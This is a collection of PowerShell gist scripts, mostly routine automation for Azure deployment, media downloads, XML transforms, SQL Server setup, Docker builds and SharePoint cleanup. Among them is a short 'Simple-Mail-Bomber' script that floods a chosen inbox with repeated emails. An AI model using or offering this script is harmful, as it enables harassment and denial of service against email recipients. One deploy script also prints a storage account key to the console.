$roleInstance.InstanceStatus Write-Output "$(Get-Date –f $timeStampFormat) - Starting Instance '$instanceName': $instanceStatus" } write-progress -id (4 + $i) -activity "Starting Instance '$instanceName'" -status "$instanceStatus" $i = $i + 1 } $deployment = Get-AzureDeployment -ServiceName $serviceName -Slot $slot $opstat = $deployment.Status write-progress -id 4 -activity "Starting Instances" -status $opstat Write-Output "$(Get-Date –f $timeStampFormat) - Starting Instances: $opstat" } function AllInstancesRunning($roleInstanceList) { foreach ($roleInstance in $roleInstanceList) { if ($roleInstance.InstanceStatus -ne "ReadyRole") { return $false } } return $true } cls Write-Output "$(Get-Date –f $timeStampFormat) - Windows Azure Cloud App deploy script started." Write-Host "Service Name = $serviceName" Write-Host "Storage Account = $storageAccountName" Write-Host "Storage Account Key = $storageAccountKey" Write-Host "Configuration File = $cloudConfigLocation" Write-Host "Package File = $packageLocation" Write-Host "Deployment Slot = $slot" Write-Host "Label = $deploymentLabel" Write-Host "Timestamp Format = $timeStampFormat" Write-Host "Delete Existing Deployment = $alwaysDeleteExistingDeployments" Write-Host "Perform Upgrade = $enableDeploymentUpgrade" Write-Host "Subscription Name = $selectedSubscription" Write-Host "Subscription Id = $subscriptionId" Write-Host "Management Certificate Thumbprint = $thumbprint" Write-Host "Deployment Region = $location" $DebugPreference = 'SilentlyContinue' $script:packageBlob = "" # Set the path to the Windows Azure management certificate. # For TFS build servers, this is often LocalMachine\My. # For local development, this can be either LocalMachine\My or CurrentUser\My (really any place you can access). $certPath = "cert:\CurrentUser\My\" + $thumbprint Write-Host "Using certificate: " $certPath $cert = Get-Item $certPath if ($cert -eq $null) { Write-Error "Unable to locate specified certificate by thumbprint." exit 1 } # Manually set the Windows Azure subscription details. $subscriptionTemp = Get-AzureSubscription | Where-Object {$_.SubscriptionName -eq $selectedSubscription} if ($subscriptionTemp -eq $null) { Set-AzureSubscription -CurrentStorageAccount $storageAccountName -SubscriptionName $selectedSubscription -Certificate $cert ` -SubscriptionId $subscriptionId } # Clear out any previous Windows Azure subscription details in the current context (just to be safe). Select-AzureSubscription -Clear # Select (by friendly name entered in the 'Set-AzureSubscription' cmdlet) the Windows Azure subscription to use. Select-AzureSubscription $selectedSubscription # Build the label for the deployment. Currently using the current time. Can be pretty much anything. if ($deploymentLabel -eq $null) { $currentDate = Get-Date $deploymentLabel = $serviceName + " - v" + $currentDate.ToUniversalTime().ToString("yyyyMMdd.HHmmss") } Write-Output "$(Get-Date –f $timeStampFormat) - Preparing deployment of $deploymentLabel for Subscription ID $subscriptionId." # Execute the steps to publish the package. Publish $deployment = Get-AzureDeployment -slot $slot -serviceName $serviceName $deploymentUrl = $deployment.Url $deploymentId = $deployment.DeploymentId Write-Output "$(Get-Date –f $timeStampFormat) - Creating New Deployment, Deployment ID: $deploymentId." Write-Output "$(Get-Date –f $timeStampFormat) - Created Cloud App with URL $deploymentUrl." Write-Output "$(Get-Date –f $timeStampFormat) - Windows Azure Cloud App deploy script finished."
PowerShellCorpus/GithubGist/mcollier_10097074_raw_02094b75de5007601f4a2890344f6a05a33bf5c5_conference_downloads.ps1
mcollier_10097074_raw_02094b75de5007601f4a2890344f6a05a33bf5c5_conference_downloads.ps1
Param ( [Parameter(Mandatory=$true)] [String] $DownloadLocation ) cls # The script has been tested on Powershell 3.0 Set-StrictMode -Version 3 # Following modifies the Write-Verbose behavior to turn the messages on globally for this session $VerbosePreference = "Continue" #$ErrorActionPreference = 'Stop' if ($DownloadLocation -eq $null -or $DownloadLocation.Length -eq 0) { $DownloadLocation = (Get-Location -PSProvider FileSystem).ProviderPath } $rss = (new-object net.webclient) function DownloadFile { param ([string] $source, [string] $destination) Write-Output "Downloading '$source' to '$destination'" try { if (!(Test-Path -Path $destination -PathType Leaf)) { $wc = (New-Object System.Net.WebClient) $wc.DownloadFile($source, $destination) } } catch { $ex = $_.Exception.InnerException Write-Error "Failed to download file '$source'. $ex.Message" } } #Set the username for windows auth proxy #$rss.proxy.credentials=[system.net.credentialcache]::defaultnetworkcredentials # Set the RSS feed path # TechEd NA 2013 #$dataFeed = "http://channel9.msdn.com/Events/TechEd/NorthAmerica/2013/rss/mp4high/?sort=sequential&direction=desc&term=&r=Developer+Tools+%26+Application+Lifecycle+Management&r=Windows+Azure+Application+Development&y=Breakout&Media=true#fbid=FDnmapgI5Hf" # # TechEd NA 2013 - All #$dataFeed = "http://channel9.msdn.com/Events/TechEd/NorthAmerica/2013/RSS/mp4high" # #TechEd NA 2013 - Windows Azure #$dataFeed = "http://channel9.msdn.com/Events/TechEd/NorthAmerica/2013/rss/mp4high/?sort=sequential&direction=desc&term=&r=Windows+Azure+Application+Development&y=Breakout&Media=true#fbid=FDnmapgI5Hf" # # TechEd Europe 2013 - All #$dataFeed = "http://channel9.msdn.com/Events/TechEd/Europe/2013/RSS/mp4high" # # TechEd Europe 2013 - Windows Azure #$dataFeed = "http://channel9.msdn.com/Events/TechEd/europe/2013/RSS/mp4high/?sort=sequential&direction=desc&term=&r=Windows+Azure+Application+Development&y=Breakout&Media" # #BUILD 2013 - All #$dataFeed = "http://channel9.msdn.com/Events/Build/2013/RSS/mp4high#theSessions" # #BUILD 2014 - Azure #$dataFeed = "http://s.ch9.ms/Events/Build/2014/rss/mp4med?sort=sequential&direction=desc&term=&tag=azure" #TechEd NA 2014 $dataFeed = "http://s.ch9.ms/Events/TechEd/NorthAmerica/2014/RSS/mp4?sort=sequential&direction=desc&term=microsoft%20azure" $a = ([xml]$rss.downloadstring($dataFeed)) $a.rss.channel.item | foreach{ $mediaUrl = New-Object System.Uri($_.enclosure.url) $pptxUrl = New-Object System.Uri($_.enclosure.url.Replace(".mp4", ".pptx")) $file = $_.creator + " - " + $_.title.Replace(":", "-").Replace("?", "").Replace("/", "-").Replace("<", "-") + ".mp4" $pptx = $_.creator + " - " + $_.title.Replace(":", "-").Replace("?", "").Replace("/", "-").Replace("<", "-") + ".pptx" if ($_.category -eq "microsoft-azure" -or $_.category -eq "azure") { $downloadFile = $DownloadLocation + "\" + $file DownloadFile -source $mediaUrl -destination $downloadFile $downloadFile = $DownloadLocation + "\" + $pptx DownloadFile -source $pptxUrl -destination $downloadFile # try alternate location for PPTX - only tested with BUILD 2014 and TechEd NA 2014. Need to make dynamic. $sessionNumber = $_.link.Substring($_.link.LastIndexOf("/") + 1) #$pptxUrlAlt = "http://video.ch9.ms/sessions/build/2014/" + $sessionNumber + ".pptx" $pptxUrlAlt = "http://video.ch9.ms/sessions/teched/na/2014/" + $sessionNumber + ".pptx" $downloadFile = $DownloadLocation + "\" + $pptx DownloadFile -source $pptxUrlAlt -destination $downloadFile } }
PowerShellCorpus/GithubGist/sayedihashimi_f1fdc4bfba74d398ec5b_raw_1b7eaed5c17ba71c5e5df2c36c9fc43acb16f947_transform-xml.ps1
sayedihashimi_f1fdc4bfba74d398ec5b_raw_1b7eaed5c17ba71c5e5df2c36c9fc43acb16f947_transform-xml.ps1
<# .SYNOPSIS You can use this script to easly transform any XML file using XDT. To use this script you can just save it locally and execute it. The script will download it's dependencies automatically. #> [cmdletbinding()] param( [Parameter( Mandatory=$true, Position=0)] $sourceFile, [Parameter( Mandatory=$true, Position=1)] $transformFile, [Parameter( Mandatory=$true, Position=2)] $destFile, $toolsDir = ("$env:LOCALAPPDATA\LigerShark\tools\"), $nugetDownloadUrl = 'http://nuget.org/nuget.exe' ) <# .SYNOPSIS If nuget is not in the tools folder then it will be downloaded there. #> function Get-Nuget(){ [cmdletbinding()] param( $toolsDir = ("$env:LOCALAPPDATA\LigerShark\tools\"), $nugetDownloadUrl = 'http://nuget.org/nuget.exe' ) process{ $nugetDestPath = Join-Path -Path $toolsDir -ChildPath nuget.exe if(!(Test-Path $nugetDestPath)){ 'Downloading nuget.exe' | Write-Verbose # download nuget $webclient = New-Object System.Net.WebClient $webclient.DownloadFile($nugetDownloadUrl, $nugetDestPath) # double check that is was written to disk if(!(Test-Path $nugetDestPath)){ throw 'unable to download nuget' } } # return the path of the file $nugetDestPath } } function GetTransformXmlExe(){ [cmdletbinding()] param( $toolsDir = ("$env:LOCALAPPDATA\LigerShark\tools\") ) process{ if(!(Test-Path $toolsDir)){ New-Item -Path $toolsDir -ItemType Directory | Out-Null } $xdtExe = (Get-ChildItem -Path $toolsDir -Include 'SlowCheetah.Xdt.exe' -Recurse) | Select-Object -First 1 if(!$xdtExe){ 'Downloading xdt since it was not found in the tools folder' | Write-Verbose # nuget install SlowCheetah.Xdt -Prerelease -OutputDirectory toolsDir\ $cmdArgs = @('install','SlowCheetah.Xdt','-Prerelease','-OutputDirectory',(Resolve-Path $toolsDir).ToString()) 'Calling nuget.exe to download SlowCheetah.Xdt with the following args: [{0} {1}]' -f (Get-Nuget -toolsDir $toolsDir -nugetDownloadUrl $nugetDownloadUrl), ($cmdArgs -join ' ') | Write-Verbose &(Get-Nuget -toolsDir $toolsDir -nugetDownloadUrl $nugetDownloadUrl) $cmdArgs | Out-Null $xdtExe = (Get-ChildItem -Path $toolsDir -Include 'SlowCheetah.Xdt.exe' -Recurse) | Select-Object -First 1 # copy the xdt assemlby if the xdt directory is missing it $xdtDllExpectedPath = (Join-Path $xdtExe.Directory.FullName 'Microsoft.Web.XmlTransform.dll') if(!(Test-Path $xdtDllExpectedPath)){ # copy the xdt.dll next to the slowcheetah .exe $xdtDll = (Get-ChildItem -Path $toolsDir -Include 'Microsoft.Web.XmlTransform.dll' -Recurse) | Select-Object -First 1 if(!$xdtDll){ throw 'Microsoft.Web.XmlTransform.dll not found' } Copy-Item -Path $xdtDll.Fullname -Destination $xdtDllExpectedPath | Out-Null } } if(!$xdtExe){ throw ('SlowCheetah.Xdt not found. Expected location: [{0}]' -f $xdtExe) } $xdtExe } } function Transform-Xml{ [cmdletbinding()] param( [Parameter( Mandatory=$true, Position=0)] $sourceFile, [Parameter( Mandatory=$true, Position=1)] $transformFile, [Parameter( Mandatory=$true, Position=2)] $destFile, $toolsDir = ("$env:LOCALAPPDATA\LigerShark\tools\") ) process{ # slowcheetah.xdt.exe <source file> <transform> <dest file> $cmdArgs = @((Resolve-Path $sourceFile).ToString(), (Resolve-Path $transformFile).ToString(), $destFile) 'Calling slowcheetah.xdt.exe with the args: [{0} {1}]' -f (GetTransformXmlExe), ($cmdArgs -join ' ') | Write-Verbose &(GetTransformXmlExe -toolsDir $toolsDir) $cmdArgs } } Transform-Xml -sourceFile $sourceFile -transformFile $transformFile -destFile $destFile
PowerShellCorpus/GithubGist/myokoym_5891297_raw_c8dc9e93960166b49c27823e82505d6e0fc184bd_closing_times.ps1
myokoym_5891297_raw_c8dc9e93960166b49c27823e82505d6e0fc184bd_closing_times.ps1
for ($day = 1; $day -le 30; $day++) { $start_time = New-Object System.DateTime 2013,6,$day,0,0,0,0 $end_time = New-Object System.DateTime 2013,6,$day,23,59,59,0 Get-EventLog System -After $start_time -Before $end_time -Newest 1 }
PowerShellCorpus/GithubGist/themightyshiv_6176508_raw_8996fa7d3488cd3e88ef01dd776fd2ca4b4fbb77_Simple-Mail-Bomber.ps1
themightyshiv_6176508_raw_8996fa7d3488cd3e88ef01dd776fd2ca4b4fbb77_Simple-Mail-Bomber.ps1
# Simple Mail-Bomber for PowerShell 2.0 # [By]: TheMightyShiv | [GitHub]: https://github.com/themightyshiv # Global Variables $PSEmailServer = 'smtp.server.com' $MsgFrom = '[email protected]' $MsgTo = '[email protected]' $MsgSubject = 'Subject Here' $MsgBody = 'Body Here' $MsgLimit = 20 $MsgDelay = 1 # While Loop To Send Messages $MsgNum = 1 while ($MsgNum -le $MsgLimit) { clear Write-Host 'Simple Mail-Bomber for PowerShell 2.0' Write-Host '' Write-Host ' [*] Sending E-Mail '$MsgNum 'of'$MsgLimit Send-MailMessage -From $MsgFrom -To $MsgTo -Subject $MsgSubject -Body $MsgBody $MsgNum++ Start-Sleep -s $MsgDelay } # Finished Message clear Write-Host 'Simple Mail-Bomber for PowerShell 2.0' Write-Host '' Write-Host ' [*] Mail-Bombing Completed.'
PowerShellCorpus/GithubGist/johnkattenhorn_cc77c268a713a029aa15_raw_f6621edf432665c0d1ec7a0c50be02990a25476b_TestSQL2014Express.ps1
johnkattenhorn_cc77c268a713a029aa15_raw_f6621edf432665c0d1ec7a0c50be02990a25476b_TestSQL2014Express.ps1
# Boxstarter options $Boxstarter.RebootOk=$false # Allow reboots? $Boxstarter.NoPassword=$false # Is this a machine with no login password? $Boxstarter.AutoLogin=$true # Save my password securely and auto-login after a reboot # Install SQL Server 2014 Express and Tools (Neither seem to work with Boxstarter Remote) #cinst -debug mssql2014express-defaultinstance #cinst -debug MsSqlServerManagementStudio2014Express # Pre-req for SQL Server 2014 cinst dotnet3.5 try { if(Test-Path "HKLM:\Software\Microsoft\MSSQLServer\MSSQLServer\CurrentVersion"){ if((Get-ItemProperty -Path HKLM:\Software\Microsoft\MSSQLServer\MSSQLServer\CurrentVersion).CurrentVersion -ge "11.0.3000.0") { Write-Host "MS SQL already installed" } } else { $adminsGroupName = (New-Object Security.Principal.SecurityIdentifier 'S-1-5-32-544').Translate([Security.Principal.NTAccount]).Value $currentUser = Get-CurrentUser $setupExe = "\\glywlq1\F\Software\SQL2014_ENU_x64\setup.exe" $setupArgs = "/q /INDICATEPROGRESS /ACTION=Install /ROLE=ALLFeatures_WithDefaults /TCPENABLED=1 /INSTANCENAME=MSSQLSERVER /SQLSVCACCOUNT=`"NT AUTHORITY\Network Service`" /ASSYSADMINACCOUNTS=`"$($currentUser.Domain)\$($currentUser.Name)`" /SQLSYSADMINACCOUNTS=`"$adminsGroupName`" `"$($currentUser.Domain)\$($currentUser.Name)`" /AGTSVCACCOUNT=`"NT AUTHORITY\Network Service`" /IACCEPTSQLSERVERLICENSETERMS " Invoke-FromTask "$setupExe $setupArgs" -idletimeout 0 #Install-ChocolateyInstallPackage 'Sql2014' 'exe' "/q /INDICATEPROGRESS /ACTION=Install /ROLE=ALLFeatures_WithDefaults /TCPENABLED=1 /INSTANCENAME=MSSQLSERVER /SQLSVCACCOUNT=`"NT AUTHORITY\Network Service`" /ASSYSADMINACCOUNTS=`"$($currentUser.Domain)\$($currentUser.Name)`" /SQLSYSADMINACCOUNTS=`"$adminsGroupName`" `"$($currentUser.Domain)\$($currentUser.Name)`" /AGTSVCACCOUNT=`"NT AUTHORITY\Network Service`" /IACCEPTSQLSERVERLICENSETERMS " @(0,3010) netsh advfirewall firewall add rule name="Allow Access to SQL" Dir=In Action=allow Protocol=tcp LocalPort=1433 Profile=Domain Write-ChocolateySuccess 'Sql2014' } } catch { Write-ChocolateyFailure 'Sql2014' $($_.Exception.Message) throw }
PowerShellCorpus/GithubGist/jstangroome_1955747_raw_7d155b841d7c52366d1321bfb8fea1a985f2f56b_Add-PSModulePath.ps1
jstangroome_1955747_raw_7d155b841d7c52366d1321bfb8fea1a985f2f56b_Add-PSModulePath.ps1
[CmdletBinding()] param ( [string] $Path ) if (-not $Path -and $MyInvocation.ScriptName) { $Path = Join-Path -Path ($MyInvocation.ScriptName | Split-Path) -ChildPath Modules } if (-not $Path -or -not (Test-Path -Path $Path -PathType Container)) { throw "$($MyInvocation.MyCommand): Path required." } $Path = (Resolve-Path -Path $Path).ProviderPath $ExistingPaths = $Env:PSModulePath -split ';' -replace '\\$','' if ($ExistingPaths -notcontains $Path) { $Env:PSModulePath = $Path + ';' + $Env:PSModulePath Write-Verbose "$($MyInvocation.MyCommand): Prepended to PSModulePath: $Path" }
PowerShellCorpus/GithubGist/so0k_a4b702bd5196732dd428_raw_4290038830350a1d7cda36a2021e4a076c61056b_Build-DockerContainers.ps1
so0k_a4b702bd5196732dd428_raw_4290038830350a1d7cda36a2021e4a076c61056b_Build-DockerContainers.ps1
Param( [switch]$keepalive ) #region script config $dockerhost = "localdocker" $User = "docker" $PWord = (new-object System.Security.SecureString) #this is how you define blank password $keyfile = "C:\Path\To\keys" #endregion function isAlive($hostName){ Test-Connection -ComputerName $hostName -Count 1 -Quiet } #ensure $dockerhost is alive if (!(isAlive $dockerhost)) { #try to get the ip & update the hosts file start cmd -ArgumentList @('/C','Set-localdocker.bat') } if (isAlive $dockerhost) { #region sync data to docker host #make sure project directory exists remotely $RemoteProjectDirectory = "\\$dockerhost\data\{0}" -f (Get-Item $PSScriptRoot).BaseName $result = New-Item -Path ($remoteProjectDirectory) -Type Directory -Force Write-Host -ForegroundColor Green "Syncing data.. By default files are copied only if" Write-Host -ForegroundColor Green " * the source and destination have different time stamps or " Write-Host -ForegroundColor Green " * the source and destination have different file sizes" Write-Host -ForegroundColor Green "(ignoring .git .idea .grunt)" Write-Host -ForegroundColor Green "$PSScriptRoot TO $remoteProjectDirectory\" #sync the data between this directory and remote directory, ignore powershell scripts *.ps1 robocopy $PSScriptRoot $remoteProjectDirectory /MIR /COPY:DAT /E /NFL /NDL /NS /NC /NJH /R:3 /W:3 /XD .git .idea .grunt /XF *.ps1 *.sublime* #endregion #region ensure ssh connection works $index = -1 #init index to -1 $sessions = @(Get-SSHSession | ? {$_.Host -eq $dockerhost }) if($sessions.Count -lt 1){ #open session without prompting user $Credential = New-Object –TypeName System.Management.Automation.PSCredential –ArgumentList $User, $PWord $session = New-SSHSession -ComputerName $dockerhost -KeyFile $keyfile -Credential $Credential if($session.Connected){ Write-Host -ForegroundColor Green ("Connected to {0}" -f $session.Host) $index = $session.Index }else{ Write-Host -ForegroundColor Red "Unable to open SSH session" $index = -1 } }else{ Write-Host -ForegroundColor Green ("Re-using connection to {0}" -f $sessions[0].Host) $index = $sessions[0].Index } #endregion #region run ssh commands if($index -gt -1){ $bin = "/var/lib/boot2docker/data/{0}" -f (Get-Item $PSScriptRoot).BaseName #stop containers Write-Host -ForegroundColor Green "Stopping Containers..." Write-Host -ForegroundColor Cyan (Invoke-SSHCommand -Index $index -Command "cd $bin;. gm-env.sh stop").Output #build containers Write-Host -ForegroundColor Green "Building Containers..." Write-Host -ForegroundColor Cyan (Invoke-SSHCommand -Index $index -Command "cd $bin;. build_containers.sh").Output #remove orphaned containers - sometimes you will still need to manually clean containers when a build fails Write-Host -ForegroundColor Green "Cleaning up..." Write-Host -ForegroundColor Cyan (Invoke-SSHCommand -Index $index -Command "docker images --no-trunc| grep none | awk '{print $3}' | xargs -r docker rmi").Output #start containers Write-Host -ForegroundColor Green "Starting Containers..." Write-Host -ForegroundColor Cyan (Invoke-SSHCommand -Index $index -Command "cd $bin;. gm-env.sh start").Output if( -Not $keepalive) { #clean up session $removed = Remove-SSHSession -Index $index } Write-Host -ForegroundColor Green "Done." } #endregion }else { Write-Host -ForegroundColor Red "Could not find $dockerhost" }
PowerShellCorpus/GithubGist/ammonium_1694518_raw_d4482de955574b2d0eec0a8bafcc3c3df24fe847_file_change_notify_to_ftp.ps1
ammonium_1694518_raw_d4482de955574b2d0eec0a8bafcc3c3df24fe847_file_change_notify_to_ftp.ps1
# # Watch for files in $watchDir that a match a filer $watchFilter # and upload them to FTP $ftpUrl when they are changed (modified) # $ftpUrl = "ftp://username:[email protected]/pub/incoming/" $watchDir = "C:\temp" $watchFilter = "*.txt" function uploadFile($fullFileName) { $webclient = New-Object System.Net.WebClient $fileName = [system.io.path]::GetFileName($fullFileName) $fileUrl = $ftpUrl+$fileName $uri = New-Object System.Uri($fileUrl) try { $rc = $webclient.UploadFile($uri, $fullFileName) } catch [System.Net.WebException] { Write-Host "[ERR]: "$_ return } Write-Host "Uploaded $fullFileName" } $watcher = New-object System.IO.FileSystemWatcher $watchDir $watcher.EnableRaisingEvents = $true $watcher.Filter = $watchFilter $changed = Register-ObjectEvent $watcher "Changed" -Action { Write-Host $eventArgs.ChangeType, $eventArgs.Fullpath uploadFile $eventArgs.Fullpath } while($true) { echo "." start-sleep -s 5 } # EOF
PowerShellCorpus/GithubGist/alexblunck_8cb58f20dc366782f434_raw_4fc84ff3cd807c0cf9651b0ca3c9d562d094faca_gistfile1.ps1
alexblunck_8cb58f20dc366782f434_raw_4fc84ff3cd807c0cf9651b0ca3c9d562d094faca_gistfile1.ps1
# Computer Terminal # A computer terminal in the original sense is hardware to # enter data into, and display data from a computer, e.g. # a server. # Terminal Emulator # A terminal emulator allows the usage of a "Computer Terminal" # from a graphical user interface. An example would be the # Terminal.app on Mac OS X or iTerm. # Command Line (Interface) or CLI # The command line interface is a user interface navigated solely # by the keyboard. It is used to to interact with computer # programs by issuing commands in text form. # Shell # The shell is a specific command line interface that interprets # commands and scripts and tells the operating system what # to do with them. There are multiple shells, the most common are: # # Bourne-Again shell (bash or sh) # C shell (csh) # Command Prompt / Shell Prompt # The command prompt refers to the actual place where commands are # entered by the user or client. # The prompt on many linux shells looks like this: # # user@hostname:~$ # # As you can see the prompt ends with a "$", which marks # the place where the prompt ends and user input begins. # If the shell ends with a "#", that indicates you are # accessing the shell as a root user # # In C shell the prompt often looks like this: # > # Process # A process is a running command. If it is running in the # foreground, the user must wait until it has finished executing # until able to issue any more commands. # Command # A command is an instruction that is executed on return, as simple # example for a command is the list directory command: ls # Arguments # Usually you can pass a command arguments to somehow affect # it's otherwise default behaviour. For example passing the "ls" # command a directory path will make it list that directories # content: ls /srv/www # Some commands can accept multiple arguments, pass them after the # command seperated by a space ls /srv/www /home # Options / Flags / Switches # Options are special kinds of arguments that further modify the # function of a command. Options are prepended by a "-" or "--". ls /srv/www -l # Multiple options are possible ls /srv/www -l -a # Often options can be grouped together ls /srv/www -la # Environment Variables # Environment variables are key / value pairs that alter how # commands are executed. List all environment variables by using # the env command: env # Retrieve a specific variable by prepedning it's key by a "$" ls $HOME # Set an environment variable for the current session export HOME=/srv/www # PATH # PATH is an environment variable. It is a list of directories, # seperated by a colon ":", where the shell looks for commands. # This allows us to use a command just by it's name, e.g. : ls # ...instead of it's full path /bin/ls # Add a "search path" to the existing PATH variable export PATH=$path:/my/path
PowerShellCorpus/GithubGist/pkskelly_95b696e2a7df133ffa0d_raw_d35d133ac4ad0408153222d1e87564c7ebf51d46_Clear-SPListItems.ps1
pkskelly_95b696e2a7df133ffa0d_raw_d35d133ac4ad0408153222d1e87564c7ebf51d46_Clear-SPListItems.ps1
# =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= # Script: Clear-SPListItems.ps1 # # Author: Pete Skelly # Twitter: ThreeWillLabs # http://www.threewill.com # # Description: Purge list in Sharepoint Online - Office 365 using CSOM by # batching CSOM calls to simulate SPWeb.ProcessBatchData(). # # WARNING: This script will DELETE all list items!! Script provided # as is with no warranty. Your mileage will vary. Use this script # on a production list AT YOUR OWN RISK. # # =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= param( [string] $siteUrl, [string] $userId, [string] $listName, [int] $batchSize ) $ErrorActionPreference = 'Stop' # --------------------------------------------------------- # Load SharePoint 2013 CSOM libraries. Add-Type -Path "c:\Program Files\Common Files\microsoft shared\Web Server Extensions\15\ISAPI\Microsoft.SharePoint.Client.dll" Add-Type -Path "c:\Program Files\Common Files\microsoft shared\Web Server Extensions\15\ISAPI\Microsoft.SharePoint.Client.Runtime.dll" $password = Read-Host -Prompt "Enter password for $userId" -AsSecureString $ctx = New-Object Microsoft.SharePoint.Client.ClientContext($siteUrl) $credentials = New-Object Microsoft.SharePoint.Client.SharePointOnlineCredentials($userId, $password) $ctx.Credentials = $credentials $list = $ctx.get_web().get_lists().getByTitle($listName); $ctx.Load($list) $ctx.ExecuteQuery() $itemCount = $list.ItemCount; $listType = $list.BaseType; Write-Host "List contains $itemCount items. List type of $listType" #See http://msdn.microsoft.com/en-us/library/microsoft.sharepoint.client.camlquery(v=office.15).aspx for details on these calls $itemsDeleted = 0; $listID = $list.ID.ToString() #create objects to be used to delete in batches $camlQuery = New-Object Microsoft.SharePoint.Client.CamlQuery #Create a query to get items by id's in batches $camlQuery.ViewXml = "<View><ViewFields><FieldRef Name='Id'/></ViewFields><RowLimit>" + $batchSize + "</RowLimit></View>"; $camlQuery.ListItemCollectionPosition = $null #set initial query position (starts as null) $items = $list.GetItems($camlQuery) #execute the query $ctx.Load($items); #load the items $ctx.ExecuteQuery(); #execute the entire operation set $retCount = $items.Count if ($retCount -gt 0) { do{ Write-Verbose -Message "Query returned $itemCount items..." Write-Verbose -Message "Building batch..." $items | % { $delItem = $list.GetItemById($_.ID); $delItem.DeleteObject(); } Write-Verbose -Message "Executing batch..." $ctx.ExecuteQuery(); $itemsDeleted = $itemsDeleted + $batchSize } while ($itemsDeleted -le $itemCount) } else { Write-Verbose -Message "No list items returned." }
PowerShellCorpus/GithubGist/nzthiago_5736907_raw_9a3278b01d7df07882bf9d444cad5974b0c834fb_download.ps1
nzthiago_5736907_raw_9a3278b01d7df07882bf9d444cad5974b0c834fb_download.ps1
[Environment]::CurrentDirectory=(Get-Location -PSProvider FileSystem).ProviderPath $rss = (new-object net.webclient) #Set the username for windows auth proxy #$rss.proxy.credentials=[system.net.credentialcache]::defaultnetworkcredentials $a = ([xml]$rss.downloadstring("http://channel9.msdn.com/Events/TechEd/NorthAmerica/2013/RSS/mp4high")) $a.rss.channel.item | foreach{ $code = $_.comments.split("/") | select -last 1 $url = New-Object System.Uri($_.enclosure.url) $file = $code + "-" + $_.creator + "-" + $_.title.Replace(":", "-").Replace("?", "").Replace("/", "-").Replace("<", "") + ".mp4" if (!(test-path $file)) { $file $wc = (New-Object System.Net.WebClient) #Set the username for windows auth proxy #$wc.proxy.credentials=[system.net.credentialcache]::defaultnetworkcredentials $wc.DownloadFile($url, $file) } }
PowerShellCorpus/GithubGist/janikvonrotz_7086582_raw_6466258d0fcb5c771711d78dcea224c806d4441e_ImageFilterSliceAndMontage.ps1
janikvonrotz_7086582_raw_6466258d0fcb5c771711d78dcea224c806d4441e_ImageFilterSliceAndMontage.ps1
# tmpdir=tmp $TempFolder = "Slices" $Output = "out.png" $Filter = "*.png" # if [ -d "$tmpdir" ]; then # rm -rf $tmpdir # fi # mkdir $tmpdir If(-not (Test-Path $TempFolder)){New-Item -Path $TempFolder -ItemType Directory} # height=1080 $Height = 1080 # width=96 $Width = 96 # n=0 $N = 0 # for f in *.jpg # do $Files = "H:\Documents","H:\SkyDrive" | %{Get-ChildItem -Path $_ -Recurse -Filter $Filter} $DayStart = Get-Date 01.01.2013 $DayFinish = Get-Date 31.12.2013 $TimeStart = Get-date 18:20:00 $TimeFinish = Get-Date 20:20:00 0..$(New-TimeSpan $Start $Finish).Days | %{ $From = ($DayStart).AddDays($_).AddHours($TimeStart.Hour).AddMinutes($TimeStart.Minute) $To = ($DayStart).AddDays($_).AddHours($TimeFinish.Hour).AddMinutes($TimeFinish.Minute) $Files | where{$_.LastWriteTime -gt $From -and $_.LastWriteTime -lt $To} | select -First 1 } | %{ # offset=$(($n*$width)) $Offset = ($N * $Width) # c="$(printf "%05d" $n)" # echo "Creating slice $tmpdir/$c.png" Write-Host "Creating slice $(Join-Path $TempFolder $_.Name))" # "/cygdrive/c/Programme/ImageMagick-6.8.6-Q16/convert.exe" -crop ${width}x${height}+${offset}+0 $f $tmpdir/$c.png iex "Convert -crop $Width x $($Height + $Offset) $(Join-Path $TempFolder $_.Name)" # n=$(($n+1)) $N += 1 # done } # count="$(ls -1 $tmpdir | wc -l)" $Count = (get-childitem $TempFolder).count # echo "Joining $count slices into out.png" Write-Host "Joining $Count pictures into $Output" # "/cygdrive/c/Programme/ImageMagick-6.8.6-Q16/montage.exe" $tmpdir/*.png -mode concatenate -tile ${count}x out.png iex "montage $($Slices)/*.png -mode concatenate -tile $($Count)x $Output"
PowerShellCorpus/GithubGist/jcpowermac_7915035_raw_b53a04c6151d40174f2ae9e38081b1cfe764e326_fixdvsbug.ps1
jcpowermac_7915035_raw_b53a04c6151d40174f2ae9e38081b1cfe764e326_fixdvsbug.ps1
function Set-PortIdAdvanced { Param([object] $VmView, [object] $PortId ) $netdev = ($VmView.Config.Hardware.Device | Where {$_.MacAddress}) $spec = New-Object VMware.Vim.VirtualMachineConfigSpec $spec.deviceChange = New-Object VMware.Vim.VirtualDeviceConfigSpec[] (1) $spec.deviceChange[0] = New-Object VMware.Vim.VirtualDeviceConfigSpec $spec.deviceChange[0].operation = "edit" $spec.deviceChange[0].device = New-Object VMware.Vim.VirtualVmxnet3 $spec.deviceChange[0].device.key = $netdev.Key; $spec.deviceChange[0].device.deviceInfo = New-Object VMware.Vim.Description $spec.deviceChange[0].device.deviceInfo.label = $netdev.DeviceInfo.Label; $spec.deviceChange[0].device.deviceInfo.summary = "vm.device.VirtualVmxnet3.DistributedVirtualPortBackingInfo.summary" $spec.deviceChange[0].device.backing = New-Object VMware.Vim.VirtualEthernetCardDistributedVirtualPortBackingInfo $spec.deviceChange[0].device.backing.port = New-Object VMware.Vim.DistributedVirtualSwitchPortConnection $spec.deviceChange[0].device.backing.port.switchUuid = $netdev.Backing.Port.SwitchUuid $spec.deviceChange[0].device.backing.port.portgroupKey = $netdev.Backing.Port.PortgroupKey $spec.deviceChange[0].device.backing.port.portKey = $PortId $spec.deviceChange[0].device.connectable = New-Object VMware.Vim.VirtualDeviceConnectInfo $spec.deviceChange[0].device.connectable.startConnected = $true $spec.deviceChange[0].device.connectable.allowGuestControl = $true $spec.deviceChange[0].device.connectable.connected = $true $spec.deviceChange[0].device.connectable.status = "ok" $spec.deviceChange[0].device.controllerKey = $netdev.ControllerKey; $spec.deviceChange[0].device.unitNumber = $netdev.UnitNumber $spec.deviceChange[0].device.addressType = "assigned" $spec.deviceChange[0].device.macAddress = $netdev.MacAddress; $spec.deviceChange[0].device.wakeOnLanEnabled = $true $VmView.ReconfigVM_Task($spec) $vmname = $VmView.Name; if(!$?) { Write-Host -ForegroundColor Red "Change the port id failed, 